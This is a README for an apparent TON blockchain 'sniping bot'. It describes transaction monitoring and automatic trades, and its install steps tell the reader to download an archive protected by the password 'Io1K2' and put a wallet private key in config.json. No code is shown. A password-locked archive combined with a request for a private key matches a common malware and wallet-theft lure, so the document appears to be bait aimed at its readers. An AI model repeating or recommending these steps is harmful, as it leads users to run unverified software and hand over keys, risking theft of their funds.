Overview

TON Blockchain Sniping Bot is a fast, automated tool that connects to a TON node, monitors live transactions, filters them by custom conditions, and instantly executes snipe trades when matches are found.

Key Components

• TON Client Initialization: This component sets up the connection to the TON blockchain node, allowing the bot to fetch transaction data.
• Wallet Setup: This component manages the bot's wallet, including private key management and transaction creation.
• Transaction Monitoring: This component continuously listens for new transactions on the blockchain and filters them based on specified criteria.
• Transaction Sniping: This component creates and sends new transactions in response to matched criteria, effectively performing the snipe.

Installation

• Download the repository.
• Extract archive with pass Io1K2.
• Create a config.json file.
• Run the bot.

Config.json

{
  "NodeUrl": "https://main.ton.dev",
  "PrivateKey": "your_private_key",
  "TargetAddress": "target_address",
  "TargetAmount": 1000
}

Detailed Description

TON Client Initialization

• Functionality: Connects to a TON blockchain node to enable interaction with the blockchain.
• Key Methods:
  • HttpClient.BaseAddress: Sets the base address for the TON node.

Wallet Setup

• Functionality: Manages the wallet used for sending transactions.
• Key Methods:
  • Wallet(privateKey): Initializes the wallet with a private key.

Transaction Sniping

• Functionality: Creates and sends a new transaction in response to a matched transaction, effectively performing the snipe.
• Key Methods:
  • wallet.CreateTransaction(to, value, message): Creates a new transaction.
  • SendTransaction(HttpClient client, JObject transaction): Sends the created transaction to the blockchain.

Transaction Monitoring

• Functionality: Listens for new transactions and filters them based on predefined criteria such as target address and amount.
• Key Methods:
  • GetTransactions(HttpClient client): Fetches new transactions from the blockchain.
  • Filtering logic to match transactions against criteria (e.g., target address, target amount).